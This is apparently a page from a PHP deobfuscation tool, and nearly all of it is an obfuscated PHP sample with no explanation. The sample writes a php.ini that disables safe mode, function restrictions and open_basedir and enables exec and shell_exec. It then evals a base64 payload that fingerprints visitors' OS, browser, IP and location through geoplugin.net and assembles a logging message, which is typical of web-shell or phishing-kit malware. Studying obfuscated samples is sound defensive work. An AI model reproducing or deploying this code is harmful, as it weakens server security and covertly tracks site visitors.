PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
 goto pS_H2; Ztvyd: fwrite(fopen("\x70\150\x70\56\x69\x6e\151", "\167"), $phpini); goto wO_9_; WsjGP: $phpini = "\x73\141\x66\145\x5f\x6d\157\144\x65\x20\x3d\x20\x4f\x66\146\xa\x64\x69\x73\141\142\154\145\137\x66\x75\156\x63\164\151\x6f\x6e\x73\x20\75\x20\116\117\x4e\105\xa\163\x61\x66\145\137\155\157\144\145\137\x67\151\x64\x20\x3d\40\x4f\x46\106\12\x6f\x70\x65\x6e\137\142\x61\163\145\x64\x69\x72\x20\x3d\40\117\x46\106\12\x65\x78\145\x63\x20\75\x20\117\116\40\xa\163\150\145\154\x6c\137\x65\170\x65\x63\40\75\x20\117\116"; goto Ztvyd; pS_H2: error_reporting(0); goto W8YIb; W8YIb: eval(base64_decode("\132\x6e\x56\165\x59\x33\x52\x70\x62\x32\64\x67\127\x45\x4a\146\x54\61\115\x6f\112\106\x56\x54\122\x56\112\x66\x51\125\144\106\124\154\x51\x70\x65\167\60\x4b\103\x53\122\x50\125\61\71\106\125\x6c\112\x50\x55\151\x41\x67\x49\x43\x41\71\x49\x43\101\147\x49\154\x56\x75\x61\62\x35\x76\144\x32\64\x67\x54\x31\x4d\147\x55\107\170\x68\144\107\132\x76\x63\x6d\x30\151\117\x77\x30\113\111\x43\x41\147\111\x43\122\120\125\x79\x41\x67\120\x53\x41\147\x49\107\106\171\143\x6d\x46\65\x4b\x43\x41\156\x4c\63\x64\x70\x62\x6d\122\x76\144\x33\x4d\x67\142\x6e\121\147\x4d\124\101\166\x61\x53\143\x67\x49\103\x41\x67\x49\x43\x41\71\x50\151\x41\147\112\61\144\x70\142\x6d\x52\166\144\63\115\x67\x4d\124\101\x6e\114\101\x30\113\103\x53\x41\x67\111\103\x41\147\111\x43\101\x67\x49\103\x41\x67\111\x43\101\x67\x49\x43\101\x6e\x4c\x33\x64\160\142\155\122\166\144\x33\x4d\x67\x62\156\121\x67\x4e\x69\x34\x7a\x4c\62\x6b\156\111\x43\101\x67\111\x43\x41\71\120\151\x41\x67\112\x31\144\x70\x62\155\x52\166\144\63\115\147\117\103\64\x78\112\171\167\116\x43\147\x6b\x67\x49\x43\101\147\x49\103\101\147\x49\x43\101\147\x49\x43\101\x67\111\103\x41\147\112\x79\x39\63\x61\x57\x35\x6b\142\x33\144\172\111\x47\65\60\111\x44\x59\x75\115\x69\x39\160\112\171\x41\147\111\103\101\147\120\x54\x34\x67\x49\x43\144\130\x61\127\65\153\x62\63\144\x7a\111\x44\x67\x6e\114\x41\x30\113\x43\123\101\147\x49\103\x41\x67\111\103\101\147\x49\x43\101\147\111\103\x41\147\111\103\101\x6e\x4c\x33\144\160\x62\155\x52\166\x64\63\x4d\x67\x62\156\x51\x67\116\151\x34\x78\114\x32\153\156\111\x43\x41\147\111\x43\x41\x39\x50\151\101\147\x4a\x31\x64\x70\142\155\x52\166\x64\x33\x4d\x67\116\x79\x63\x73\104\121\157\112\111\x43\x41\147\111\103\x41\147\x49\x43\x41\147\x49\x43\101\147\x49\103\101\x67\x49\x43\143\166\144\x32\154\x75\x5a\x47\71\x33\143\171\102\x75\x64\103\101\x32\x4c\x6a\101\x76\x61\x53\143\147\x49\103\101\147\111\104\x30\53\x49\103\101\x6e\126\62\x6c\x75\132\107\71\x33\x63\x79\x42\127\141\130\116\x30\x59\x53\143\x73\x44\121\x6f\112\111\103\101\147\111\103\x41\x67\x49\103\101\x67\x49\x43\x41\x67\111\x43\x41\x67\111\x43\x63\x76\x64\62\154\x75\132\x47\71\x33\x63\x79\102\x75\144\103\101\x31\114\x6a\111\x76\x61\123\x63\147\111\103\101\147\111\104\60\x2b\x49\x43\101\156\126\x32\x6c\165\x5a\x47\x39\x33\143\171\102\124\132\x58\112\x32\132\130\x49\147\115\x6a\101\x77\x4d\171\x39\x59\125\x43\x42\64\116\152\x51\x6e\114\101\60\x4b\103\123\101\x67\x49\x43\101\x67\x49\x43\x41\x67\x49\103\101\x67\111\103\101\x67\111\x43\101\x6e\114\x33\x64\160\142\x6d\x52\166\144\63\x4d\147\x62\156\x51\147\116\123\64\170\114\x32\153\156\x49\103\x41\x67\x49\x43\101\x39\x50\x69\101\147\x4a\x31\144\160\142\155\x52\x76\x64\63\115\147\127\106\101\x6e\114\x41\60\x4b\103\x53\101\x67\x49\x43\x41\147\111\103\101\147\111\x43\x41\147\111\x43\x41\147\111\x43\101\156\114\x33\x64\160\x62\x6d\x52\166\x64\x33\x4d\147\x65\110\x41\x76\141\123\143\x67\111\x43\101\147\111\103\x41\147\111\x43\101\71\x50\x69\101\x67\112\61\144\160\x62\155\x52\x76\x64\63\115\147\127\x46\101\x6e\x4c\101\x30\113\103\x53\x41\147\111\103\101\x67\111\x43\101\x67\111\x43\x41\147\x49\103\x41\x67\x49\103\x41\x6e\x4c\63\144\160\x62\155\x52\166\x64\63\115\x67\142\x6e\x51\147\116\x53\x34\x77\x4c\62\x6b\156\111\x43\x41\x67\x49\x43\x41\x39\120\x69\101\147\112\x31\x64\160\x62\x6d\x52\166\x64\x33\x4d\147\115\x6a\x41\167\115\x43\x63\163\x44\x51\x6f\112\x49\103\x41\x67\x49\103\x41\147\111\103\101\x67\x49\x43\x41\x67\111\103\101\147\111\x43\x63\x76\144\62\x6c\x75\132\x47\x39\x33\x63\171\102\164\x5a\x53\71\160\x4a\171\101\x67\x49\103\101\147\111\x43\101\147\x49\104\60\53\x49\x43\101\x6e\x56\62\x6c\x75\x5a\107\x39\x33\x63\171\x42\116\122\123\143\x73\x44\121\x6f\112\x49\x43\101\147\111\103\x41\147\111\x43\x41\x67\111\x43\101\147\111\x43\x41\147\x49\x43\x63\x76\144\62\154\165\x4f\x54\x67\166\x61\123\x63\147\x49\103\101\147\111\x43\x41\x67\x49\103\101\147\x49\x43\101\x67\x49\104\x30\53\x49\103\101\x6e\126\x32\154\165\132\107\71\x33\x63\171\101\x35\x4f\x43\x63\x73\x44\121\157\x4a\x49\103\x41\147\111\103\x41\x67\x49\x43\x41\x67\x49\103\x41\x67\x49\x43\x41\x67\x49\103\x63\x76\144\62\154\x75\117\x54\125\166\x61\x53\143\147\111\103\101\147\x49\103\x41\147\111\103\101\147\x49\103\101\147\x49\104\60\53\111\103\101\156\x56\x32\154\x75\132\x47\71\63\x63\171\x41\65\x4e\123\x63\x73\x44\x51\x6f\x4a\111\x43\x41\147\111\103\101\x67\111\x43\x41\x67\111\x43\101\x67\x49\x43\x41\x67\111\x43\x63\x76\144\x32\154\165\115\124\131\166\x61\123\x63\147\111\x43\101\x67\x49\x43\x41\147\111\x43\x41\x67\111\x43\x41\147\111\x44\x30\x2b\111\103\101\x6e\126\x32\x6c\165\x5a\x47\x39\63\x63\171\x41\x7a\114\x6a\x45\170\x4a\171\x77\116\x43\x67\x6b\x67\111\x43\x41\x67\111\x43\101\x67\x49\x43\101\x67\x49\x43\101\x67\111\103\x41\147\112\171\71\x74\x59\127\116\160\x62\x6e\x52\x76\x63\62\150\x38\142\x57\x46\152\111\x47\71\x7a\111\x48\147\x76\x61\x53\x63\x67\120\x54\x34\147\111\x43\144\116\x59\x57\x4d\x67\x54\x31\115\x67\x57\x43\x63\163\x44\x51\x6f\x4a\x49\x43\101\x67\x49\103\101\147\111\103\x41\147\x49\103\x41\147\111\103\x41\x67\111\x43\x63\166\x62\127\x46\x6a\x58\x33\x42\166\144\x32\126\x79\x63\107\x4d\x76\141\123\143\147\111\x43\101\147\x49\103\101\x67\x49\x44\60\53\111\103\x41\156\x54\127\106\152\x49\x45\71\124\x49\x44\x6b\156\x4c\x41\60\113\103\x53\x41\147\111\103\x41\x67\x49\x43\101\x67\111\103\x41\147\111\103\x41\x67\111\x43\101\156\114\x32\x78\160\x62\156\x56\64\114\62\153\x6e\x49\103\101\147\111\103\101\x67\111\103\101\147\111\x43\x41\147\111\x43\101\x39\x50\x69\101\x67\112\x30\170\160\142\x6e\x56\x34\x4a\x79\167\116\x43\x67\153\147\x49\103\x41\x67\x49\103\x41\x67\x49\x43\101\x67\x49\103\x41\147\x49\x43\101\147\x4a\171\71\x31\131\156\x56\165\x64\x48\125\x76\x61\123\x63\x67\111\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\111\103\x41\x67\120\124\64\x67\x49\103\144\x56\131\156\x56\165\x64\110\x55\156\x4c\101\60\113\103\123\101\147\x49\x43\101\x67\111\103\x41\x67\111\103\101\147\x49\103\x41\147\111\103\x41\x6e\114\x32\x6c\x77\x61\107\x39\165\x5a\x53\x39\160\112\171\101\147\x49\103\101\147\111\103\x41\147\x49\x43\x41\x67\x49\x43\101\x39\x50\x69\101\147\x4a\62\x6c\x51\141\x47\x39\x75\132\123\143\x73\104\121\x6f\x4a\111\103\101\x67\x49\x43\101\x67\111\103\101\147\111\x43\101\x67\x49\x43\x41\147\111\103\x63\x76\x61\130\x42\x76\x5a\x43\71\x70\112\x79\x41\x67\x49\103\101\147\x49\103\101\x67\x49\103\x41\147\x49\x43\101\147\x49\x44\x30\x2b\x49\103\x41\x6e\141\126\102\166\132\103\x63\163\104\x51\x6f\112\111\x43\101\x67\111\x43\101\147\x49\x43\101\x67\111\103\101\x67\111\103\x41\x67\x49\x43\143\x76\141\130\x42\x68\132\x43\x39\160\112\171\101\147\x49\103\x41\x67\x49\x43\x41\147\x49\103\x41\147\x49\103\101\147\x49\104\60\53\x49\103\x41\156\x61\126\x42\150\x5a\x43\x63\163\104\x51\x6f\x4a\111\103\101\147\x49\103\101\x67\x49\x43\x41\x67\x49\x43\x41\x67\111\x43\101\147\x49\103\143\166\x59\x57\65\153\143\x6d\x39\x70\x5a\103\x39\160\112\x79\101\x67\111\103\x41\147\x49\x43\x41\147\x49\x43\101\147\111\x44\60\x2b\x49\103\101\x6e\121\x57\65\153\143\x6d\71\x70\132\x43\x63\163\x44\x51\157\x4a\x49\x43\x41\x67\111\103\101\x67\x49\103\101\147\x49\103\x41\x67\x49\x43\101\147\111\103\x63\166\131\155\x78\150\x59\x32\164\151\132\130\x4a\x79\145\123\71\x70\112\x79\x41\147\x49\103\x41\147\111\103\101\147\x49\x44\x30\53\111\x43\101\156\121\155\170\150\131\62\164\x43\x5a\x58\x4a\171\145\123\143\163\x44\121\157\x4a\111\x43\101\x67\111\x43\101\147\111\x43\101\147\111\103\x41\147\111\103\101\x67\x49\x43\x63\x76\x64\62\x56\x69\142\63\x4d\x76\x61\123\143\147\x49\103\101\x67\111\103\101\147\x49\x43\x41\x67\111\103\x41\x67\x49\x44\x30\53\x49\103\x41\x6e\124\127\71\151\141\127\x78\154\112\x79\x6b\67\x44\x51\157\147\111\x43\x41\147\132\x6d\x39\x79\x5a\x57\x46\x6a\141\103\x41\x6f\x4a\x45\71\124\x49\107\106\x7a\x49\x43\122\x79\x5a\x57\x64\x6c\145\103\x41\x39\120\x69\x41\x6b\144\155\x46\x73\144\127\125\160\111\110\x73\x67\x44\x51\x6f\x67\x49\103\x41\x67\x49\x43\x41\x67\111\107\x6c\155\x49\103\x68\167\143\x6d\x56\x6e\x58\62\61\x68\x64\x47\x4e\x6f\x4b\103\122\171\x5a\x57\x64\x6c\x65\103\x77\x67\x4a\106\126\124\x52\x56\112\146\121\125\144\106\x54\x6c\x51\160\x4b\x53\x42\x37\x44\121\x6f\147\x49\103\101\x67\111\103\101\147\x49\x43\x41\147\x49\x43\101\153\124\x31\116\x66\x52\126\112\x53\x54\x31\x49\x67\x50\x53\x41\x6b\x64\x6d\106\x73\x64\x57\x55\x37\x44\x51\x6f\x67\x49\103\x41\x67\111\x43\101\147\x49\x48\x30\x4e\103\147\60\113\x49\x43\x41\147\111\x48\x30\x67\x49\x43\x41\x4e\103\151\101\147\x49\103\x42\x79\x5a\x58\122\x31\143\155\x34\x67\x4a\x45\x39\124\130\60\x56\x53\125\153\x39\123\117\167\x30\113\146\121\60\x4b\132\156\126\x75\x59\x33\122\160\x62\x32\x34\147\x57\105\112\146\121\156\x4a\166\144\63\116\x6c\x63\x69\x67\x6b\x56\126\116\106\125\x6c\x39\x42\122\x30\x56\117\126\103\x6c\67\104\121\157\x4a\x4a\x45\112\x53\x54\61\144\124\122\x56\112\x66\x52\126\112\123\x54\x31\x49\147\x49\103\101\147\x50\x53\x41\x67\111\x43\x4a\126\142\155\164\x75\142\x33\144\x75\111\105\112\x79\142\63\x64\172\132\130\111\151\117\x77\x30\113\x49\x43\101\147\x49\x43\x52\x43\125\x6b\71\x58\x55\60\x56\123\111\x43\101\71\111\103\x41\x67\x59\130\x4a\x79\x59\x58\153\x6f\x4a\x79\x39\164\x63\62\x6c\x6c\114\62\153\x6e\x49\x43\x41\147\x49\103\x41\147\x49\x44\60\53\111\x43\101\156\123\127\x35\x30\x5a\x58\112\x75\132\x58\121\x67\x52\x58\150\167\x62\107\71\x79\x5a\130\x49\x6e\x4c\101\x30\113\111\103\101\147\111\103\x41\147\111\x43\x41\147\111\x43\x41\x67\x49\103\101\x67\x49\103\x41\147\x49\x43\101\147\111\103\101\x67\x4a\171\x39\x6d\141\x58\112\x6c\x5a\155\x39\x34\x4c\62\x6b\x6e\111\103\101\x67\111\104\60\53\111\103\101\x6e\122\x6d\x6c\171\132\x57\132\x76\x65\103\x63\x73\x44\x51\x6f\147\111\103\x41\147\x49\x43\x41\147\x49\103\101\x67\x49\x43\x41\147\111\x43\x41\147\111\x43\101\147\111\103\x41\147\x49\103\101\156\114\63\116\x68\132\x6d\106\x79\x61\123\71\x70\x4a\171\101\x67\111\103\x41\x67\x50\x54\64\x67\111\103\144\124\x59\x57\132\x68\143\155\x6b\x6e\114\x41\60\x4b\x49\103\101\147\x49\103\101\x67\111\x43\101\147\x49\x43\101\147\x49\x43\101\x67\111\103\101\147\111\x43\101\x67\x49\x43\x41\147\x4a\x79\71\x6a\x61\x48\112\x76\x62\x57\125\166\x61\x53\143\147\x49\x43\101\147\x49\104\60\x2b\x49\x43\x41\156\x51\62\150\171\x62\62\61\154\x4a\171\x77\116\103\151\x41\147\x49\x43\x41\147\111\x43\101\x67\x49\x43\x41\x67\x49\103\101\147\x49\x43\101\x67\x49\x43\101\x67\x49\x43\x41\147\x49\103\x63\166\x5a\127\x52\x6e\x5a\x53\71\x70\x4a\171\x41\x67\111\x43\101\x67\111\x43\x41\71\120\x69\101\x67\x4a\60\x56\153\132\x32\x55\156\114\101\x30\113\x49\103\101\x67\111\103\101\x67\x49\x43\x41\x67\x49\103\x41\x67\111\103\101\x67\111\x43\x41\147\111\103\x41\x67\x49\103\101\x67\x4a\171\71\x76\143\x47\x56\x79\131\123\x39\160\112\x79\x41\147\x49\103\x41\x67\x49\104\x30\x2b\111\x43\x41\x6e\124\63\102\x6c\143\x6d\105\156\114\x41\x30\x4b\111\103\x41\x67\111\103\101\147\x49\103\101\x67\x49\x43\101\x67\111\x43\101\147\x49\103\101\147\111\103\x41\147\x49\x43\101\x67\x4a\x79\x39\165\132\x58\122\172\131\x32\x46\167\x5a\123\x39\x70\x4a\x79\101\147\x49\x44\60\x2b\111\103\x41\156\x54\x6d\126\60\x63\62\x4e\150\143\107\x55\x6e\114\x41\x30\x4b\111\x43\x41\147\111\103\x41\x67\x49\103\x41\147\x49\x43\101\147\111\103\101\x67\x49\x43\101\147\111\x43\101\147\x49\x43\x41\147\x4a\171\71\x74\x59\x58\x68\x30\x61\x47\71\x75\x4c\x32\153\x6e\x49\x43\x41\147\x49\104\x30\x2b\111\x43\x41\156\x54\x57\106\x34\144\x47\x68\x76\x62\x69\143\x73\104\121\x6f\x67\x49\x43\101\x67\x49\x43\101\x67\x49\x43\x41\x67\111\103\x41\147\111\103\101\x67\x49\103\x41\147\x49\x43\101\147\111\103\x41\156\x4c\62\x74\x76\x62\x6e\x46\x31\x5a\x58\112\166\x63\x69\x39\160\112\171\101\x67\x50\124\x34\147\111\x43\144\x4c\x62\x32\x35\x78\144\127\126\171\x62\x33\x49\156\114\101\60\x4b\x49\103\101\147\111\103\101\147\111\103\x41\x67\x49\103\x41\x67\111\x43\101\x67\x49\x43\x41\x67\x49\x43\x41\147\x49\x43\x41\x67\112\x79\71\164\142\x32\112\160\x62\107\x55\166\141\123\x63\147\x49\103\x41\x67\111\x44\60\x2b\111\103\x41\156\123\107\106\165\132\107\x68\x6c\142\x47\x51\x67\121\x6e\x4a\x76\144\63\x4e\154\143\x69\x63\x70\117\167\60\113\x49\103\x41\x67\111\x47\x5a\x76\x63\x6d\126\x68\x59\62\x67\x67\113\x43\x52\x43\x55\153\71\130\x55\x30\x56\x53\111\x47\106\x7a\111\x43\122\x79\132\x57\144\x6c\x65\x43\x41\x39\120\151\x41\153\144\x6d\x46\163\144\127\125\160\111\x48\163\147\104\121\157\147\x49\103\x41\147\x49\103\101\x67\111\107\x6c\155\x49\x43\150\x77\x63\155\126\x6e\130\x32\x31\150\144\x47\116\157\113\103\x52\171\132\127\144\x6c\145\x43\x77\x67\x4a\106\126\x54\x52\x56\112\x66\x51\x55\144\x46\124\x6c\x51\x70\113\x53\x42\x37\x44\121\157\x67\111\103\x41\x67\111\103\x41\x67\x49\103\x41\x67\x49\x43\101\153\121\154\x4a\120\126\61\x4e\x46\x55\154\71\x46\125\x6c\112\120\125\x69\x41\71\x49\103\x52\x32\x59\127\x78\61\x5a\124\163\116\x43\x69\x41\x67\x49\103\101\x67\111\x43\101\147\146\121\60\x4b\111\103\101\x67\111\x48\60\116\x43\x69\101\x67\x49\103\x42\171\132\130\122\x31\143\155\x34\147\x4a\x45\x4a\x53\x54\x31\x64\x54\122\126\x4a\x66\x52\x56\x4a\123\x54\x31\111\67\x44\121\160\71\x44\121\160\x6b\131\130\122\154\130\62\x52\x6c\132\x6d\106\61\142\110\x52\146\x64\x47\x6c\x74\x5a\x58\x70\166\142\155\x56\x66\x63\x32\126\60\113\x43\144\110\124\x56\121\156\x4b\x54\163\x4e\x43\x69\x52\x6b\x59\130\122\154\x49\104\x30\x67\x5a\107\106\x30\x5a\x53\147\x69\x5a\103\x42\x4e\x4c\103\x42\132\x49\x69\153\67\x44\121\157\153\144\x47\154\164\x5a\x53\x41\x39\111\x47\122\x68\x64\x47\125\x6f\111\x6d\x63\x36\x61\123\x42\150\x49\151\153\x37\x44\x51\157\153\144\x58\116\x6c\x63\155\106\156\x5a\x57\x35\x30\111\x44\x30\x67\112\106\x39\124\122\x56\x4a\127\122\x56\112\142\112\60\150\125\126\x46\102\x66\126\x56\x4e\106\x55\x6c\x39\102\122\60\x56\x4f\x56\103\x64\144\x4f\167\x30\x4b\112\110\x4e\146\143\107\x46\60\x61\103\101\x39\111\x43\112\157\144\x48\122\x77\117\151\70\166\111\151\101\x75\111\103\122\x66\x55\x30\x56\123\126\x6b\126\x53\127\171\144\x54\122\x56\112\127\x52\126\112\x66\x54\153\x46\x4e\x52\123\144\144\x4f\x77\x30\x4b\x4a\110\150\146\143\107\x46\x30\x61\x43\x41\71\x49\x43\x4a\157\x64\110\122\167\x4f\151\70\x76\111\151\x41\165\x49\x43\x52\x66\125\x30\x56\123\126\x6b\126\123\127\171\x64\x54\122\126\112\x57\x52\126\x4a\x66\124\x6b\106\x4e\122\123\144\144\111\103\64\147\x4a\x46\71\124\122\x56\x4a\x57\122\x56\x4a\x62\112\61\x4a\x46\x55\x56\x56\106\125\x31\122\x66\x56\126\x4a\112\x4a\x31\x30\67\x44\121\157\153\123\126\x42\x55\127\151\101\71\x49\107\x64\154\144\107\126\165\x64\151\147\151\125\153\126\116\x54\x31\122\106\130\60\x46\105\122\x46\111\151\113\x54\x73\116\103\151\x52\x44\124\x31\126\117\x56\106\x4a\132\x56\106\157\x67\120\123\x42\172\141\x57\x31\x77\142\107\126\64\142\x57\x78\146\x62\107\71\x68\x5a\106\x39\x6d\x61\127\170\x6c\x4b\x43\x4a\x6f\144\110\x52\167\117\151\x38\x76\144\63\x64\x33\x4c\x6d\144\x6c\142\x33\102\163\144\x57\144\x70\142\151\x35\x75\132\x58\x51\x76\x65\x47\61\163\114\155\144\x77\x50\x32\x6c\x77\x50\123\122\112\x55\106\122\141\111\151\153\x37\x44\121\157\x6b\x51\60\71\x56\124\154\122\123\x57\123\x41\71\111\x43\122\104\x54\x31\x56\117\126\106\x4a\x5a\126\106\157\x74\x50\x6d\x64\154\x62\x33\102\x73\x64\127\144\160\x62\x6c\71\152\142\63\126\165\144\110\112\65\x54\155\x46\x74\x5a\x54\x73\116\x43\x69\x52\104\123\x56\122\132\x49\x44\60\147\112\x45\116\x50\126\x55\x35\x55\125\x6c\154\125\127\x69\60\x2b\132\x32\x56\166\x63\107\170\x31\x5a\62\154\165\x58\x32\x4e\160\x64\x48\153\67\104\x51\157\153\125\x6b\x56\x48\x53\125\x39\117\111\x44\60\x67\x4a\105\x4e\120\126\125\x35\x55\125\154\154\125\127\x69\60\x2b\x5a\x32\x56\166\143\x47\x78\61\132\x32\154\x75\130\63\112\154\x5a\x32\x6c\x76\x62\152\163\x4e\x43\151\x52\104\x58\60\x4e\x50\122\x45\125\147\x50\123\101\153\121\x30\x39\x56\124\154\122\123\x57\x56\x52\x61\x4c\x54\65\156\132\x57\71\x77\142\110\x56\156\141\127\x35\146\x59\x32\x39\165\x64\110\112\65\x59\62\x39\x6b\x5a\x54\163\116\103\x69\122\125\x61\x57\x31\x6c\x65\x6d\71\x75\132\x53\101\x39\x49\x43\x52\x44\x54\x31\x56\x4f\x56\x46\x4a\x5a\126\106\x6f\164\x50\x6d\144\x6c\142\63\x42\163\144\x57\x64\x70\142\x6c\71\60\x61\x57\61\154\x65\x6d\x39\x75\132\124\x73\x4e\103\151\122\124\x65\x57\61\x69\142\62\167\x67\120\x53\x41\x6b\x51\x30\x39\126\124\154\122\123\x57\126\122\141\114\x54\x35\156\x5a\x57\71\x77\x62\x48\126\x6e\x61\127\x35\146\x59\x33\126\x79\143\x6d\x56\165\x59\63\154\172\x65\x57\61\x69\142\x32\167\67\104\121\x6f\x6b\x62\127\126\172\143\x32\x46\156\132\x53\101\147\x50\123\x41\151\146\103\x30\x74\x4c\x53\x74\142\x54\153\126\130\64\x34\103\121\70\112\53\x52\161\117\x4b\x41\x6a\x66\x43\146\x6b\162\166\x6a\147\x4a\x46\116\114\61\x4e\x64\x4b\x79\60\164\x4c\x58\170\x63\142\151\x49\x37\x44\121\x6f\153\142\x57\126\x7a\x63\62\x46\156\x5a\123\101\x75\x50\x53\101\x69\x57\x79\164\x64\x34\160\123\102\x34\160\123\102\64\160\x53\x42\64\160\x53\102\64\x34\x43\x51\70\112\x2b\122\x70\117\117\101\x6b\145\113\125\x67\x65\x4b\x55\147\145\x4b\x55\147\145\x4b\x55\147\x56\x73\162\x58\126\170\x75\111\x6a\163\x4e\103\151\122\164\x5a\x58\116\x7a\131\x57\x64\x6c\111\x43\64\x39\111\x43\114\152\x67\112\x44\167\x6e\64\x2b\147\x34\x34\103\122\123\126\101\x4a\117\151\x41\x69\x4c\151\x52\112\125\106\x52\x61\114\x69\x4a\x63\142\x69\111\67\x44\121\157\x6b\142\x57\x56\172\143\x32\x46\x6e\x5a\x53\x41\x75\120\123\x41\151\x34\x34\x43\121\70\112\53\x54\156\53\x4f\x41\x6b\x56\116\65\143\63\x52\x6c\142\123\x41\66\x49\x43\x49\x75\127\x45\x4a\146\x54\61\115\x6f\112\106\x39\x54\x52\126\x4a\127\x52\126\x4a\x62\112\60\x68\125\x56\x46\x42\x66\126\x56\116\x46\x55\x6c\71\x42\x52\x30\x56\117\126\103\x64\144\x4b\x53\64\151\130\x47\64\x69\x4f\167\60\x4b\x4a\x47\61\x6c\x63\x33\x4e\150\x5a\62\125\x67\x4c\152\60\x67\111\x75\x4f\101\153\x50\103\x66\x6a\111\172\152\147\x4a\x46\x43\x63\155\x39\63\x63\x32\x56\x79\x49\104\x6f\x67\111\x69\65\x59\x51\x6c\x39\x43\x63\x6d\x39\63\143\62\x56\171\x4b\103\x52\x66\x55\x30\x56\123\126\x6b\x56\123\127\171\x64\x49\x56\x46\x52\121\x58\61\126\x54\x52\126\112\146\x51\x55\144\106\x54\154\121\x6e\130\123\x6b\165\x49\x6c\170\x75\111\x6a\163\x4e\103\x69\122\164\x5a\x58\116\x7a\x59\x57\x64\154\111\103\64\71\111\103\114\x6a\x67\x4a\x44\x69\156\x4b\152\x6a\x67\x4a\x46\126\143\x32\126\171\x49\105\106\x6e\132\x57\x35\60\x49\104\157\x67\x49\x69\x34\153\x64\130\116\154\143\155\x46\156\x5a\127\65\60\x4c\x69\112\x63\x62\151\x49\x37\x44\x51\157\153\142\127\x56\x7a\143\62\106\x6e\x5a\x53\x41\x75\x50\123\101\x69\127\x79\164\144\64\160\123\x42\x34\160\123\x42\64\x70\x53\x42\64\160\x53\102\64\64\x43\121\70\112\x2b\x56\x74\x65\53\x34\x6a\53\x4f\101\153\x65\113\x55\x67\145\x4b\x55\x67\x65\113\125\147\x65\x4b\x55\x67\126\x73\162\130\126\x78\165\x49\x6a\x73\x4e\x43\x69\122\164\132\130\x4e\x7a\131\x57\144\x6c\111\x43\64\x39\x49\103\114\152\147\112\x44\x77\x6e\64\171\121\64\x34\x43\x52\126\107\x6c\x74\132\123\x42\141\142\62\65\x6c\x49\104\x6f\x67\111\x69\64\x6b\x56\107\154\x74\132\x58\160\x76\142\x6d\125\x75\x49\x6c\x78\165\x49\152\163\x4e\x43\151\122\x74\132\130\116\x7a\x59\x57\144\x6c\x49\103\64\71\111\x43\x4c\x6a\x67\112\104\167\x6e\64\171\121\64\x34\103\122\121\62\x39\61\x62\x6e\x52\171\145\123\x41\66\111\103\x49\165\112\105\x4e\x50\126\125\x35\x55\125\154\153\165\x49\154\170\x75\x49\x6a\163\x4e\x43\x69\x52\164\x5a\x58\x4e\x7a\131\127\144\x6c\x49\103\x34\x39\111\103\114\x6a\147\112\104\x77\x6e\x34\171\x51\64\64\x43\122\125\155\126\x6e\141\127\x39\165\111\104\x6f\x67\x49\151\64\x6b\125\153\x56\x48\123\x55\x39\x4f\x4c\151\112\x63\x62\151\x49\67\x44\x51\x6f\153\x62\127\126\172\143\x32\106\x6e\x5a\123\101\x75\120\x53\101\x69\64\64\103\x51\x38\112\x2b\115\153\x4f\117\x41\153\x55\116\160\x64\x48\153\147\x4f\151\101\x69\114\x69\122\x44\123\x56\122\x5a\114\151\112\x63\x62\x69\x49\x37\x44\x51\157\x6b\142\x57\126\x7a\x63\x32\106\x6e\x5a\123\101\165\x50\x53\101\x69\x57\x79\164\144\64\x70\123\x42\x34\x70\x53\102\64\160\x53\102\64\x70\x53\102\64\x34\x43\121\70\112\53\123\x75\53\117\101\153\145\113\125\147\145\x4b\x55\x67\x65\113\125\147\x65\113\x55\x67\126\163\x72\130\x56\170\165\111\152\x73\x4e\103\151\x52\x74\x5a\130\x4e\x7a\x59\127\144\154\111\x43\x34\x39\111\103\x4c\x6a\147\x4a\x44\167\x6e\65\x47\x42\64\x34\x43\x52\x53\107\71\x7a\x64\103\x41\x36\111\103\111\x75\112\110\x4e\x66\x63\107\106\60\141\x43\x34\151\x58\107\64\x69\117\167\60\x4b\112\107\x31\x6c\x63\x33\116\150\x5a\x32\x55\x67\x4c\152\60\x67\x49\x75\117\101\x6b\x50\103\146\x6b\x59\x44\152\x67\112\x46\107\x61\127\x78\154\x49\104\157\147\x49\151\x34\x6b\x65\x46\71\x77\131\x58\x52\157\x4c\151\112\x63\142\x69\x49\x37\x44\x51\x6f\153\142\x57\x56\172\x63\62\x46\156\132\x53\101\165\x50\123\x41\x69\127\x79\164\x64\x34\x70\x53\x42\x34\x70\123\102\64\160\x53\102\64\x70\123\x42\64\x34\103\x51\64\x6f\53\x7a\64\64\103\x52\x34\160\123\x42\x34\160\x53\102\x34\x70\x53\x42\64\x70\123\x42\x57\x79\164\x64\x58\107\x34\151\x4f\x77\x30\113\112\x47\61\154\143\x33\116\150\132\62\x55\147\114\x6a\x30\x67\111\x75\117\101\x6b\x4f\x4b\115\x6d\x75\x2b\64\152\x2b\x4f\x41\x6b\x56\122\160\142\127\125\x4a\x4f\151\x41\151\114\x69\122\x30\x61\127\61\x6c\114\151\x4a\143\142\x69\x49\67\104\x51\x6f\153\142\127\126\172\x63\62\106\x6e\132\123\x41\x75\120\123\101\x69\x34\64\103\x51\x38\112\x2b\x54\x68\x65\x4f\101\x6b\x55\122\150\144\107\125\x4a\117\x69\x41\151\114\x69\122\153\x59\x58\x52\154\114\151\112\143\x62\151\111\x37\x44\x51\x6f\153\142\127\126\x7a\143\62\106\156\132\x53\101\165\x50\123\101\x69\x57\171\x74\144\x34\160\123\102\64\x70\123\102\x34\x70\123\102\x34\x70\123\x42\64\x34\103\121\x38\x4a\53\x55\x6a\x65\x4f\x41\x6b\145\x4b\125\x67\x65\113\125\x67\145\x4b\x55\147\145\113\125\147\x56\x73\162\130\x56\170\165\x49\152\x73\x4e\103\151\122\x74\x5a\130\116\x7a\x59\x57\x64\x6c\x49\103\64\x39\111\103\x4c\152\x67\x4a\x44\x77\156\65\x4f\x68\64\64\103\122\x56\x48\x4a\150\131\x32\163\x67\123\x56\101\x67\117\x69\102\157\x64\x48\122\x77\143\172\157\x76\x4c\63\x64\63\x64\171\x35\x70\x63\x43\x31\x30\x63\155\106\x6a\141\62\x56\x79\x4c\x6d\x39\x79\132\171\71\x73\x62\x32\71\162\x64\130\101\x75\143\x47\x68\x77\x50\x32\x6c\167\x50\123\x49\x75\112\x45\154\121\126\x46\157\165\111\x6c\170\165\x49\x6a\x73\116\x43\x69\122\164\132\130\x4e\x7a\131\127\x64\x6c\111\x43\64\71\111\103\x4a\70\x50\x54\x30\71\x4b\61\x76\167\x6e\65\113\127\x51\153\115\165\x52\106\114\167\x6e\65\113\127\x58\x53\x73\71\120\x54\x31\x38\130\x47\x34\x69\x4f\167